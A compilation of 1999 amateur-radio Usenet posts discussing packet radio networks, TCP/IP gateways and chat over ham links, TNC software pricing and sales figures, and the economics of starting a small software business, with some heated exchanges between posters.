But. . . could it be that we hams popularize advanced "chat rooms" on the packet radio nets. Complete with keyboarding, audio and even [slow] video.

This might attract lots of younger Tech-like amateurs as well as provide an opportunity for old hams to meet with and "elmer" the younger crowd.

This kind of thing is on the 'net' already.

For example the ICQ service developed by an Israeli company recently acquired by AOL. It even has the symbol/prosign "CQ" in its' name!

That ICQ type of application would work well in ham packet nets. We would need individuals or clubs to support the servers just as we have done/do for bbs's and network nodes, and we would need chat room software to run on the servers. Today those little Contectix digital video monochrome cameras are only $99 and with good known codecs we hams should be able to create some neat compelling software/servers that could run on local packet radio. Video chat rooms. How's that, not a new idea, but not widespread on the net yet. Hams pioneered the audio information highway, why not the video information highway and the videophone/video chat room.

Perhaps hams could develop it into something workable and compelling. And then . . . it could be taken commercial, just like short waves back in the 20's and 30's.

Maybe you software types could improve on the CUSeeMe stuff developed at Cornell and now being commercialized by White Pine.

And TAPR or some such outfit could work on the rf side of it together with some manufacturers to try speeding up the access.

Just some thoughts.

>Thoughts?

And right now, my issue is more trying to setup my BBS system so that
it integrates nicely with Internet Explorer or Netscape over ham radio.

Here's how I envision it from the user perspective. Basically, they
use SV2AGW. They setup their TNC or their Baycom modem for
9600 or whatever and antenna as normal inside of agw. They tune
to 145.01, where my system is located, and their computer is connected
to my gateway and my name server. What happens behind the
scenes is that their computer sends out a DHCP request, and my
machine responds with an ip address,.

They load up Internet explorer, and add an email server at
'mail.ke6i.ampr.org' and add a news server at 'news.ke6i.ampr.org'. They
set their email address to theircall@ke6i.ampr.org.
They right click on the news.ke6i.ampr,org news server, select newsgroups,
and highlight the ones they want to subscribe to -- just like here on
Usenet. Except
each newsgroup has a name, like ampr.pbbs.cq.ww or ampr.pbbs.all.usa.

These groups list PBBS messages that come in over that distribution and all replies are sent out with the same distribution. Posting has spell checking
and is exactly like here on the internet.

Now on, when they turn on their computer, and read mail, it just connects right in and downloads PBBS mail, over 2m, without having to dial in or anything. They can click on the news and list titles, over the 9600 link and download only those titles they want to read.

If they want to chat, they can telnet to a wwconverse server at the gateway. (And if you're not on wwconverse, there are quiet a few ham radio operators around the world on this system. It's a little better, content-wise, than the
irc ham radio rooms.) Since the channel will gateway to ampr.org, they can telnet to ampr BBS's or connect to my NODE, which is hooked up to the northern California NODE network (Which is still surviving, and goes up the coast, nearly to Eureka, and down to Santa Cruz, and Tahoe.)

Pretty much all the software for doing this is out there free for Linux systems. The
biggest hassle is getting the nntp server going -- though the Redhat inn rpm goes a long way towards getting news working. A program called mailgw can make FBB and inn talk to each other, though this takes a little fussing.

I don't want to deal with really being an ISP, but rather just make a PBBS bbs, where the user interface is fast, clean and familiar, by using software that people are used. And that is mainly because I'm thinking
that a 9600 baud channel is great for text based applications like chat, news/pbbs, and email/pbbs mail, but really if you start pushing web pages over a shared 9600 channel, basically you're back to square one with a flakey setup that doesn't really work. I believe a 9600 channel and the existing PBBS system are adequate to support, more or less, the kind of discussion we're having here.
(Btw, if anyone wants to try moving this talk to PBBS, I'm all ready)

9600baud I assume is the best use of a 20khz 2m channel -- though if there's a better way to go on one of the 20khz packet channels, I'm all ears. I'll probably only gateway to the 44.xx.xx.xx addresses. Ideally, I'd do a duplex repeater -- rather than a simplex channel, though I haven't really investigated what's required for this yet. Maybe I'll do full-duplex repeater on 440, and just simplex on 2m. My site is okay, but not great. I should have pretty good coverage of Berkeley, Oakland and parts of San Francisco and Sausolito that have visibility to the Bay. Though I probably need to raise the antenna up higher, or maybe eventually build another node on the ridge somewhere.

I got most of the software installed -- I still need to do some final tweaks, and need
to do some real on-air testing of the whole setup -- when I get my other radio back from repair. Right now, verification is a little weird, in that a user needs to log into FBB, and set their password -- and then their

FBB password is munged and migrated over to NEWS and POP. I still have more work to do on the proper gatewaying of packets.

I run into other people putting together similar systems. I think we all have similar ideas, basically, though everyone's at a different stage with this. If anybody is in Berkeley, Oakland, Albany, San Francisco and wants to do some packet stuff, send me email. I'll do some proper evangelizing only after everything is tweaked the way I like it -- probably in about a month or so.

Rick, you have convinced me. Initiate support for the PTC-II and I will buy a copy!! Seriously. I wish you would.

The ham radio community is damned lucky to have firms and people like this interested in supporting it with products. It sticks in my craw to see others accuse them of gouging due to an argument over whether the software ought to be $50 versus $80 or whatever. Give me a break. I can argue all day about nit picky details too, but it takes gall to impugne the motives of another based upon such quibbles. We were all the poorer when AEA went under (thanks for salvaging part of them, Timewave!) and personally I would not want to see ham radio vendors confined to big commercial hardware vendors who do ham radio products as an afterthought. RJB.

Roger,

We have a version in development for the PTC II and IIe called PTCTerm.. It will use the extended WA8DED host mode for Packet and Pactor and the TERM 5 host interface for the other modes..

If all goes well, we hope to have it out before Christmas, same for the HALterm version for the DXP38. Every TNC vendor has been quite gracious with helping us with documentation and TNC specific caveats.

> experienced in).

Agree totally.
Don't try and start a business with non-experts (been there, done
that, have the worthless stock to prove it).

> 2. The developer(s) already own the basic development tools
> (i.e., compilers, debuggers, CASE tools if needed by the nature of the
> project, etc.) and state of the art hardware (again, these are items a
> professional would already possess).

I would question this. In the most perfect of worlds, the developers
will be proficient in the tools needed for the project. In the real world,
they will probably not all be "on the same page". I've found that usually
one has to provide the chosen version of all tools, and that it is probably
cost effective to assume this from the start rather than hoping that
all developers will have compatible tools. i.e. some cost and some
schedule hits required to get everyone up and running together.

> 3. The developer(s) have a very clear picture of the kind of
> product they want to produce, solid knowledge of the field to which it
> will appeal (as did the paralegal I cited above), and have carefully
> researched the market to determine what, if any, competing products
> exist and what their realistic market share is likely to be.

In my view, this is the job of marketing: to provide this vision.
The job of the developers is to realize the vision. Again, from my
experience, good marketers and good developers have different
skill sets. i.e. developers are lousy marketers and vice versa.
So perhaps the key here involves the formation of the team.
Everyone needs to learn how to work well together. Not easy
when the skill sets (and world views) are quite different. The
implication is that there is a *really* good manager running things.

> 4. The developer(s) are willing to work exclusively on the
> project, or alternatively are content to take a substantially longer
> period of time to bring the product to market and to accept a
> proportionaltely smaller income during that time.

I assume you are talking here of part time developers.
Again, from my experience, I would expect 60-80 hour weeks
from my developers (and everyone else). No other commitments.

> Given those assumptions, it would be reasonable to assume that
> $300,000 in capital would:

My comments above were directed toward the idea of "Creating
a company which may someday become very successful". Not
perhaps the exact scenario we were discussing. I'll shift my thinking
to correspond with your assumption, which I think is to create a
viable small business using minimal startup funding.

> 1. Provide salaries for a minimal staff for an initial
> development period not to exceed one year (a project lasting longer than
> that involves a great deal more than a single program, and is beyond the
> scope of a small start up firm unless they are particularly well funded
> by venture capital).

In general I agree

> 2. Provide minimal overhead costs for the same period.

"Office space" can be pretty cheap if one looks hard enough,
or is willing to operate out of someone's home. No bennies.
Work via contract not salary, etc. The usual "minimize costs".

> 3. Provide adequate funds to produce an initial production run
> of the product adequate to (1) provide review copies to all relevant
> reviewers; (2) provide complementary copies to potential distributors
> and dealers and; (3) (if relevant) provide sample copies to corporate IT
> departments in organizations that may reasonably be expected to purchase
> the product.

I don't understand "production run", unless you mean CDs and docs.
Probably that is what you mean. In the ham radio world, these costs
might be quite bit smaller, using web based distribution throughout
the test and release to sales, and even in the initial sales phase.

> 4. Fund and implement an initial marketing campaign appropriate
> to the product line.

Do you agree that perhaps 30% of funding should go to 4.?

> 5. Provide a minimum of a 10-15% "slush fund" to cover
> unforeseen expenses and emergencies.

Workstation dies. Key developer quits and must be rapidly
replaced. Water leak in roof trashes sales collaterals. Lease
terminated and must find new office space. Primary beta site
decides they want nothing further to do with you. Product
concept discovered to be "just a little off base" and must be
adjusted. Sound familiar?

> 6. Cover the costs of insurance, legal fees inherent in forming
> a corporation, etc.

5-10% of funding at the $300k level. Include liability insurance.

The last company I started burned $800k venture plus $100k private
placement plus $2.5M sales in 3 yrs. Failed to make plan per venture
agreement so we "tarted it up" and sold it. Kept 12 people employed though.

One has tools for this: kill files and (my favorite) the "delete before
reading" button.

I feel differently. I never feel I "have to pay" for anything related to
my hobbies. They are, after all, hobbies ... and I'm very willing to
vote with my credit card.

Yes, there is a good deal of opinion in this group.

> Frankly, if I wanted to engage in an argument I'd go to
> alt.flames--or at least to rec.radio.amateur.misc where a few choice

Ah! alt.flame. One of my favorites! Under a different "identity"
of course. Yes, this is my real identity.

> comments about the no-code license or Liberty net would guarantee a

> conversation to personal attack or sarcasm, I chose to leave it rather
> than continue the thread further.

Perhaps the useful part of the thread will continue for awhile.
Ham radio badly needs some new businesses built around
digital radio, else that mode of the hobby will continue to
wither away. You mentioned some other areas of the hobby
where software products might work: DXing, high speed CW e.g.
I'm thinking about getting back into VHF/UHF Dxing, where
automated CW makes a lot of sense. Some fun software project
in that area, but products are questionable.

I tend to read the group every day, but only post occasionally,
for exactly the reasons you mention. Sometime I post only
to fan the flames and watch the knee-jerkers jerk.

> Your response was both polite and reasonable, thus I've

Well, I actually had in mind other businesses, were you to ever want
to start them, particularly hobby related <smile>.

Well, let's kill it off officially.

"The posters on this group all act like Nazis."

"Remember how Hitler made everyone register their guns so
the state could confiscate them. This is exactly what the ARRL
'insurance' policies will do with your radios."

I'm outa here!

There are some existing applications: the various *NOS have converse,
there is my RoundTable, the chat mode in APRS, a few others.

And available on ham radio. The problem we saw here in this part of
the network (Portland, OR) was that even with good 9600 baud network,
it was too slow. Needs low latency network. I suspect that if we had much
better network these applications would thrive. Of course if we had tcp/ip
running over the ham radio nets, then one could use any of the standard
chat servers and clients. Have done some experiments with NetMeeting
over ham radio. It needs a LOT faster network. 56k minimum.

How to create wide area tcp/ip networks? I don't know the answer
to this one. It seems to be more a political issue than technical. Also
the software needs to be a *lot* easier to set up and get working.

So perhaps this idea devolves into the political question of how to build
fast ham radio networks. The solution to date has been to rely on the
internet for almost all the transport, and not put $ and effort into
building
radio network. I don't see a solution for the network problem.

> For example the ICQ service developed by an Israeli company recently
> acquired by AOL. It even has the symbol/prosign "CQ" in its' name!

> 20's and 30's.
>
> Maybe you software types could improve on the CUSeeMe stuff developed at
> Cornell and now being commercialized by White Pine.

It will run over ham radio networks now. The problem is the network.

> And TAPR or some such outfit could work on the rf side of it together with
> some manufacturers to try speeding up the access.

> Just some thoughts.

I wrote RoundTable because I thought it might bring more hams into the
network. For awhile it did. People held weekly nets, there were some
"old codgers" that met every night, there was a small use by emergency
response groups, etc. Then it sort of died down.

Another idea is databases. There are plenty of callsign servers online now,
but not much else that I'm aware of. Perhaps one of the problems we need
to solve is long haul network. As of now, there basically is *none* in the
US.
So it is hard to even think about creating databases, since there is no
reasonable way to keep the copies in sync without resorting to the internet.
Once one puts it on the internet, why bother with radio?
One database that might be fun is VHF/UHF DXing information. Schedules,
station capabilities and operating information, hot tips, "howto"s, etc. We
have
not had very good success with any of these.

You've been to school, obviously. - But never did learn the BASIC stuff,
like knowing the particulars of a given situation before passing judgements
on it. You know - The kind of thing they can't teach, like common sense? You
either have it or you don't, and it appears you don't.

I remember the first semester of "MIS 101", where the importance of knowing
what you are talking about before presenting was stressed to us repeatedly
by the instructor. A lot of that class revolved around the technique needed

to investigate a company and discover what problems it may or may not have.

If any student in that class had gone into a big fantasy-driven diatribe as you have, without even attempting to obtain enough information so that they would have a chance of knowing what they are talking about, they would have found themselves taking that semester over again, having been flunked out by the instructor.

> Do you?

Heck no! - I went to college for fun, not to get a job. But I've got enough sense not to pontificate about someone's business before bothering to find out something about it.

Too bad you never picked up that bit of knowledge in all of your schooling. - You could have really used it.

It appears that Rick looked into this matter about as thoroughly as he investigated the Ham software market before he started pontificating about it. - Not at all, that is.

If I had an employee who had a habit like that - Shooting off his mouth without bothering to look into what he's talking about - Than that employee's butt would bounce several times off of the parking lot on his way out.

I don't have anything against training for new people, but if they've been through college and still lack common sense and a firm grasp of the basics of their profession, then it's generally best to let them go as soon as possible, leaving myself free to find some better material to work with.

The only clear indication that I believe you can derive from this is that the market for packet equipment and software has decreased drastically over the last few years. I wish Rick and CSS luck in their endeavours because of my interest in digital radio and because he's set up shop in my original hometown (MSL), but it certainly wouldn't be my pick for providing food and shelter for my family. Considering the size of the market, I think it is extremely short-sighted for anyone to accuse them of price gouging considering the cost of Windows development tools and the training required to use them.

I've been following this thread with great interest, has anyone been able to locate the URL for Rick's GLOTEC Inc. I'd like to see Rick A's practice as I have now seen quite a bit of what he preaches.

Much of the discussion reminds me of my sister during her first year of Psychology... What a vast pool of knowledge one finds in a community college. BTW she finished her Ph.D. and is now designing jewelry in Santa Monica.

In Rick A's discussion he never mentions the risk/reward principle. It seems Rick of CSS has $300K at risk. Where there is risk, there should be reward. At least in the real world of business. What capitol is at risk in GLOTEC, Inc?

Did you know that copper wire was invented by two MBA's fighting over a penny....<grin>

> look under Kantronics--and this makes sense to you?

Try looking for products from Philip Morris or Tricon Global.
Hint: You won't find them under the manufacturer's name.

However, I agree with you on the topics of promotion, advertising
and marketing. The ham radio software products tend not to be
handled well. But with the market size of these products, this should
not be a surprise; little money is availble to promote, advertise or
market them. Heck, it is impossible, or nearly impossible, to recover
the the development costs!

I've done a few business plans for packet radio software. Had what
I thought were good ideas ("Hey, how about email over ham radio.").
Some of them, like the above, turned out to be good ideas, in the
sense that the concept became popular. Good business? Not as
far as I could determine. Not even close. Certainly not worth my
time and effort. Why? I leave that as an excercise for the reader <grin>.

All businesses charge "... what the traffic will bear".
How could it be otherwise?
Hint: competition.

> Then your advice is to go BROKE with the "pros."
>
> BTW--in terms of marketing--I _am_ a pro (unless you consider an

I certainly consider an MBA an indicator of "amateur" status.
It might be useful to have, but it does not indicate any real
knowledge. What it does tell me is that the holder might know
some of the basics, many of which he will need to unlearn.
If that person also teaches ... then I get very concerned.
"Those that cannot do, teach."

(But that's all just more flame bait.)

> And 25% with no "store front overhead" is a _very_ reasonable

> profitable.

We are talking software products not physical products.
For software products the costs are *all* in the I.P. and in
the promotion, advertising and marketing. You cannot compute
ROI in the same way you do for pysical products.

But you know all this ... and I don't have to *worry* about it
anymore since I've retired (from many years in various I..P.
based businesses, mostly software).

How much inventory does MSI hold?
You do mean http://www.managementsystems.net/, right?

3840. For Trade: Tucson Packet TNC for Hallicrafters or Hammarlund

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-14 00:00:00 UTC
From: William Brown <trainers@sympatico.ca>
Message-ID: <37DEB0AF.1D7EEF56@sympatico.ca>
Source record: 16742

I have a Tucson Packet Radio terminal node controller with manual that I would like to trade for a working Hallicrafters or Hammarlund Amateur Band receiver, or for a really good set of manuals for getting a Ham license in Canada along with some tutoring.

Thanks
William

3841. Let's look at real numbers for TNC software sales

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-14 00:00:00 UTC
From: "Ricker@cssincorp.com" <ricker@cssincorp.com>
Message-ID: <#zH6a9u$#GA.194@cpmsnbbsa02>
Source record: 16743

Friends of the newsgroup,

Randy Gawtry of Timewave was kind enough to provide me with these numbers of AEA Software sales in 1994 and 1995. As most of you know, AEA had a majority of market share in the 90's, and had a big ad budget with full color two page ads in CQ, QST etc.

I think most of you will find these actual numbers surprising, I was when Randy sent them to me last night.

1994 was the last big year for TNC's, the big drop-off in 1995-1996 ended up causing Kantronics to almost go out of business and it was the final nail in the coffin before AEA went out of business

PcPakratt was the program of choice then for the Windows market for AEA products. The following numbers are the actual number of units sold to dealers and end users in those years:

PcPakratt 1994: 1673
PcPakratt 1995: 1404

As you can see, in both years, with major advertising, dealer and direct sales, and an installed base of over 100,000, sales were under 2000 per year.

So using those REAL numbers as a comparison, we're doing as well as AEA was doing in software sales 5 years ago, and this has been a declining market since 1996. So yes, they the hams are voting with their wallets and seem to appreciate the high quality software and fine support we give.

On the support side, our support person is Bill Campbell, WD4HEN. He's 54 years old and does a great job working with our users on issues they have. I have had not one complaint about him, and many kudos. He knows Windows, TNC's and digital modes, and enjoys working with other hams.

Also, I did a comparison of prices of us and the competition. Let me say I applaud the efforts of Jeff Towle (Ka-GOLD), Gary Johnson (XP-Win) and Stan Huntting (KA-Win). They have fine products for the O/S they support. If you have a Kantronics TNC and just DOS or Windows 3.1, you should support them by purchasing their products.

Kantronics:
==========
DOS

KA-GOLD $89.95 Doesn't support KAM '98
HostMaster II $89.95 Doesn't support KAM '98

Windows 3.1

Ka-Win $79.00 Doesn't support KAM '98
Xp-Win $80.00

Windows 32

Pacterm '98 $79.95

AEA/ Timewave:
=======================================
DOS

Pk-Gold $99.95 Only supports Pk-88 and Pk-232
PKGold/900 $129.95 Only supports PK-900
DSPGold $129.95 Only supports DSP-2232
PakRatt DOS N/A Product dead

Windows 3.1

XpWin $80.00
PcPakratt 2.1 $79.95

Windows 32

Pk-Term '99 $79.95

MFJ:
===
DOS:

MFJTerm $49.95 No Host Mode

Windows 3.1

Multicom $59.95 No Host Mode

Windows 32

Multicomm Host (packet only) $49.95 BLP Host
MultiComm Host (multimode) $79.95 BLP Host

(both need firmware upgrades for errorless operation)

Multicom for Windows 3.1 is the ONLY commerical program that DOESN'T use
Host Mode.

FYI, The CSS staff is comprised of the following:

3 programmers
1 QA/Support
1 Accounting/Documentation/Marketing
1 Online Forum Manager (Microsoft contracts)

This is the last message I going to post on the issue of software pricing, as we have work to do to continue to provide high quality software for the ham community.

Hey Rick:

I enjoyed meeting you guys at the Huntsville Hamfest.

I enjoy your PacTerm software as well.

You guys are doing good work!

I enjoyed your sharing of the figures and the financial analysis of the ham software business.

It seems that the time coincidence/correlation between the fall off of ham packet radio activity's and the popular onset of the World Wide Web is confirmed once again!

Charlie Brabham will probably jump on me again now! Heh, heh. Go Charlie!

If only we could speed up amateur packet radio access speeds and begin to take advantage of the millions of TCP/IP terminals out there now, maybe we could get some new "compelling" applications on the ham packet radio nets and regenerate the growth with a whole new generation of radio/computer buffs.

Think of it, the Amateur Computer Radio Relay League!

email and bbs's were the "killer" application of ham packet radio, now we have APRS, but the appeal is not as wide. The Internet gives us "free" email and we have NG's instead of bbs's. What we really need is . . . . ? ? ?

Perhaps hams could take the lead and introduce a whole new set of applications . . . just like our pioneering forefathers. If we leave it all to the new computer networking folks we will be left behind in the dust of the Internet.

Thoughts?

Thanks for the kind words Peter, to me, that's what it's all about.

RE: RF internet. That is one of the goals, and the first step to it is the completion of the HF Email Product. By using your TNC and an SSB radio, you can send and receive internet email via commercial shore stations (WLO and Globewireless) or on the ham bands, Winlink.

What this program will accomplish is that you can still send and get your email, even if you have no phone line. I know many people who travel with RV's and that are on yacht that use this type of service with an old terminal style (Telex or BBS) interface. Our product puts the same look and feel of the standard internet mail programs into this market. No more typing thousands of commands at the prompts, compose your message and hit 'send now', and the program does a sitot/amtor or Pactor connect to the server, sends you email, gets waiting email, and puts that into your INBOX, just like on the net... except it's RF.

The next step is to do a host mode device driver that sits between the TCP/IP driver and the serial driver in Windows. This would allow for standard email packages to use the TNC just like a regular modem. On the UHF and higher bands, we could use 9600 baud or greater for fast throughput, and you could connect to the web via RF. I feel like it's a great idea for those people that don't want a second phone line, or are out 'in the sticks' and have no local internet service.

All this of course costs money to develop, and that's what I've been trying to do with the revenue from the TNC programs, continue to reinvest it into development, to provide new products for hams.

Maybe that would be the 'killer app' (driver?) the ham radio market is waiting for?

Well ... now we know. I guess you have never been involved
in creating software. There is no "school" that teaches what
is needed to create software. The only way to learn software
tools is to use them in real software projects. Certainly one should
take whatever classes are available, but actually learning a tool
takes 6-18 months of real-world use. If you think otherwise, I
have this nice bridge for sale ... real cheap ...

$300k will just about cover two person-years of development.
Just enough to create a minimally marketable product.
How do I know this? 35 years of involvement with software
development. The cost has come down a bit during that time,
but the level of effort to get a product to market has not
changed very much, and compensation has gone up.
(All the above stated normalized to today's $).

But wait, there's more!

You just *might* want to use some of the $300k for promotion,
advertising and marketing, is it not so? Let's allocate a minimal
amount, say 30%. That leaves $210k to develop the product.
A few fixed costs (desks, workstations, operating systems,
development tools) which will run in the ballpark of $15k per
programmer. A bit less for the QA and support folk, but not
much less. Are we talking 3 people perhaps? That leaves only
$165k to pay them, and cover their recurring costs (FICA,
any bennies, paid vacation, office space, et al). Just about enough
to pay one "pretty good" software person, one "ok" software
person and one good tester/support person for about 9 months.

Oh well, give 'em options and promise 'em riches ...

... Hank

Attacks no, sarcasm of course!

But you might want to apply your expertise to my other response
containing a bit of analysis of what one could do with $300k in
the software development world. If you have some interesting
ideas on how to do it cheaper, there are many who read this
group that would benefit from your knowledge. My bottom
line is that $300k is probably below the minimum needed to
create and sell any software product ... successfully.

> No, I _don't_ mean www.managementsystems.net. I have no idea

According to the web page they are:
Welcome to Management Systems International, Inc.
MSI develops financial consolidation and analysis software
for companies using popular accounting packages.

Perhaps this is a different MSI than the MSI you spoke about.

> And for the person who asked, the current assets of Glotec, Inc.

You are wrong about this Rick.

As a marketing expert you should be well aware of the different
ways posters might attempt to elicit useful information from folks
who post to newsgroups claiming expertise.

You certainly would not want to turn off any potential customers
or investors ... lots of folks who read this group might qualify as
one or the other ... or both ... and plenty of them are interested in
starting businesses in the ham radio market ... or have already done so.

From my observations we need two things right away:

1. Faster networks.
2. Integration with standard protocols.

I'm doing a bit of work on 2., as are a few other folks.
None commercially as far as I know.
1. is a major problem.

> Think of it, the Amateur Computer Radio Relay League!

Exactly what a bunch of us tried to form in the 1985-1990 time frame.
We got LL Lidded out of existence.

If you have any ideas ... a lot of folks who write software for a hobby
read this group but do not post. They are looking for ideas. It is very
worthwhile to post them here because they *will* be seen, and often
they *will* be acted upon.

QEX.Net Has Moved

If you have had problems accessing my web pages,
it is because I have a new IP address.

What does this mean? It means that it may have
been inaccessible while DNS updated.

Anyway, you should be able to access it as:
http://www.qex.net/k7on/

If not, try:
http://24.221.112.33/k7on/

i.e. the new IP address is 24.221.112.33

Okay, first on the 'chat room' thing. Me, so far I've found, at least
in my circumstance, that convers runs pretty good over
a plain old 9600 half-duplex. That is with a single hop to the local
gateway in Palo Alto -- which is a 30 mile path. And me with 5
watts and a 5 element beam on 433.43Mhz. And wwwconvers
has way fewer the hacker wannabee's than irc has. So, people are
using Ham TCP/IP for chat right now. Honestly, I've been on ham
TCP/IP for at least a few years, and I never talked to anyone on
convers until the last few weeks. But since I have, I think I've
actually used my ip stuff more than I ever have before.

My experience, just from poking around on chat, is that 9600bd
gateways, with links directly to the internet work pretty good for
chat. Even 1200 baud gateways right on the internet also
work okay for chat. I wonder exactly what your 'good 9600 baud'
network consisted of? Were these half-duplex Netrom nodes
at 9600? Because on wwwconvers, I can pretty regularly chat
with German guys using laptops talking through their RF network
over there. Not sure how they do it. Maybe the backbone needs
to be full-duplex for chat to work well on RF networks.

As for kids, maybe it's not so important to do video
or audio or any of that, as it is to be able to do it at SCHOOL.
You know. The portable aspect of ham radio, even with a
slightly long latency chat room, might be interesting. I can

imagine a gadget with a screen sort of like a Gameboy, but
with a little keyboard that you could stuff in your backpack, and
chat with other hams on the planet.

I could see this is a possible short term goal for ham IP locally.
For example, for us, a network that covers say the SF Bay, San
Jose, and the Walnut Creek/concord area that could support real
time chat.

As for the 'politics' of network building, so far, at least from what
I've seen, the ham radio networks are typically held together
by a tiny handful of people, or as often as not, a single guy who
as his personal mission takes on the job of keeping things together.
I talked to one guy who built a network across his state, node
by node, over 5 years. And, by scrimping on the cost of equipment
and keeping an ear open for people who might be willing to let them
use their site -- and this seems to happen suprisingly often, a very
little group of people is often able to cover a pretty big area. Seems
like finding the good sites is the key, and that with good sites, a
relatively small number of nodes can be a backbone for a large area.
And, there seems to be an art to this -- of schmoozing up the right
people to get them.

So basically, for a high-er speed IP network to happen, what has
to occur, is that a small group decides that they're just gonna' do it.
There's a guy from Argentina who comes on wwwconvers, and they
have a pretty good 38k baud IP network in their city over there. All
made from home made equipment.

When someone would have asked me to write such a program, I would not have
tried to write a user application that looks like a standard internet mail
program, but I would just have taken a standard internet mail program.
They usually come for free and are constantly being developed, why try to
beat that?

Just write a program that can act as an SMTP and POP3 server, and takes
the mail composed in the standard mail program and converts it to the
protocols used on amateur radio. With some cleverly chosen address
structure, you can handle the mail alongside Internet mail without the user
even needing to bother which way it will go. A "reply" on an incoming
message will find its way back to the sender no matter if it came from
Internet or from amateur radio.

Surprise: I have been doing this with the packet radio BBS for some 10
years now. I used a separate machine with DOS and KA9Q for a while, but
now everything is running on a single box under Linux. From packet with
SCC cards (who wants a TNC these days?) up to the user-level applications
that are just out-of-the-box (mail, WWW browser, etc).

I think this is a much more viable approach than trying to develop
everything yourself and trying to follow what the Internet guys are doing.

Try to take away the user interface of your programs, and bury everything
in a resident server program. That will save you a lot of work.
This may even be possible with your packet terminal program: use a WWW
browser as the user interface to a server program that does the talking
to the TNC. An extra advantage is that you can packet from the livingroom
machine while the TNC is connected to the machine in the shack, running
your program (provided they are connected by a network).

That already exists!
Sure the market has been waiting for it for a long time, but others have
beaten you to it.
Have a look at PC-Flexnet and at the system from an SV amateur whose call
I can't remember right now.

Yes - If the software is specifically written for Kantronics gear.

If not, then it really doesn't make much sense at all.

>
> Both of those sites have listings of manufacturers and products.
> Pacterm is NOT listed under it's manufacturer, and thus the typical
> customer is unlikely to find it.

Your reasoning is flawed.

Most Hams looking at software are like gun owners looking for ammunition. -
Their first concern is that the software will work with the equipment they
have. In this case, they would tend to look at software for Kantronics
stuff.

I bet very few Hams start off looking for "CCS stuff", if you follow my
drift. In fact, this newsthread is the first place I have seen "CCS"
mentioned by anybody, at any time.

If your sales depended on people looking specifically for CCS, you'd be in
sad, sad shape.

>

I believe they make Photoshop for the Mac, too.

Again, if I needed a copy of Photoshop for my Win98 machine, I would not waste time looking for the "Adobe isle" at the software store... I'd look under "Win95/98 graphics programs".

Sorry, but that's how it is.

If I attack your view, you'll know about it. What I did was to point out the fact that you were building yourself a house of cards - Starting off with a number of assumptions instead of facts.

I "attacked" the method you used to come to your conclusion. I called it as a GIGO situation, and it was.

>

> wrong, why is the firm _losing_ $75,000/year?

I haven't really argued that point, but I guess I can... Do you have any idea of how quickly they expected to see their money return? It may be that they weren't really expecting to see that money again within the first couple of years. - This is the problem you run across, when you try to "backseat-drive" somebody else's business with little or no solid information to base your assumptions on.

Within my family, new businesses are generally looked upon as expensive hobbies, at least for the first couple of years. Nobody is expected to come out in the black that quickly, though of course it's nice if they do.

My jewelry business recovered it's setup costs within the first month, but that's an unusual situation. - I was looking for a "no-brainer" kind of deal to set up one of my kids with, and was interested in something that would fly with very little investment or supervision, but could still return a reasonable income (for a kid) if they put a little effort into it. So far it has worked, and if it doesn't in the long run, very little money will be tied up in inventory, ect. I specifically looked for a setup that would fail, if it had to, with a minimum of trauma since this is the kid's first shot at going out and making a buck. Sometimes you have to throw them out there and see if they can swim, but it's just plain stupid not to have a life-preserver handy when you do so.

>
> If you know so much more about business operations than I do,
> where are YOUR suggestions as to how to improve those sales figures--or
> does your education end at the point of criticizing others instead of
> including training in how a business actually operates?

If I were interested in seeing sales of Amateur Packet Radio software and equipment here in the USA get out of the slump and go back into a "boom" period, I'd do what I could to effect a complete turnover at TAPR. The clique that has dominated TAPR for the last decade or so are largely responsible for the slump in Packet here in the USA. Kick out the old rascals; Put new rascals in their place.

In other words, new software and innovative marketing systems are pretty useless if you have no market, and the "LandLine Lid" problem TAPR has foisted upon the US Packet net has pretty well destroyed the market here. (Along with our network)

- And you can't depend upon sales in Europe, where the packet market is still as strong as ever, because those folks have been continuously developing over the last decade, so that stuff that is reasonably up to date here is hopelessly obsolete there. - They are a decade or so ahead of us in the development and implementation of a Packet net, and it shows.
We *talk* about sound and video stuff, and native tcpip apps over Packet here, while they actually *do* those things. They've been doing it for years, and we've been talking about it for years. Go figure.

So there's my suggestion: Kick the LandLine Lids out of TAPR, so US Packet ops can get back to building a network and our market can start to recover. Until steps are taken to let the hobby (and it's market) recover here in the

US, you're just plain not going to have a good market to work with.

> I made the suggestions I did for the benefit of the firm. Since
> they seem unwelcome (at least by the firms self-styled "supporters" if
> not by the founder of the firm himself), I won't bother in the future.
> Being insulted for trying to provide positive support is too "Usenet"
> for me--

Oh, horse-hockey. You jumped in there and started pontificating with a critical tone, using made-up "facts" to substitute for the information you did not have to work with. You were a legend in your own mind, and just couldn't handle the strain on your little ego when it turned out that not everyone else was as impressed as you were.

>I don't participante in the ham groups to engage in that kind of
> cb mentality.

Where do you usually go? ;-)

That does seem to work out more often than anything else.

The problem with high-speed IP here in the US, is that nothing beyond the
LAN is ever even considered by most of the IP folks. Instead of
participating in building up an amateur radio network, they bypass Ham Radio
and link up their LANs via the Internet instead.

That's why there is a high-speed network in place in Europe, but nothing
comparable here.

3852. QPSK Clock Recovery Issue

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-15 00:00:00 UTC
From: Artur Leung <aleung@ittc.ukans.edu>
Message-ID: <37DFB7E5.1E64FC73@ittc.ukans.edu>
Source record: 16660

Hi,

I am investigating on the possibility of using QPSK on a
re-configurable digital radio that has been designed by someone else.
The receiving section uses the Harris Digital Quadrature Tuner (DQT) and

Costas Loop (DCL) to demodulate PSK signal, which gives me I and Q data
at baseband. The clock the Harris chip provides is at the symbol rate.
Before passing the data to the next section, I have to "murge" the I and
Q data stream into a single serial data stream.
The problem is generating the clock for the murged data stream,
which is twice the frequency of the clock provided by the Harris chip.
I could use a D flip-flop and an XOR gate to double the frequency of the
clock, with another much-faster clock driving the D flip-flop. However,
the duty cycle of the resulting clock is not 50%, which is causing some
problems.
It would be great if someone could point me to a digital circuit
that I could implement in an FPGA which does frequency doubling and
still maintain 50% duty cycle. Thanks.

I think that is too much time to spend on learning a tool, considering the lifetime of most tools. Maybe it is ok for your first one, but when you need a year to learn a new tool on the average, you will spend most of your time learning instead of being productive.

Education and experience should be about concepts, not about details of specific tools. Learning too much about the ins and outs of a specific tool (and only being able to accomplish anything at all when using that specific tool) will leave you out in the cold as soon as the world has moved to the next hype.

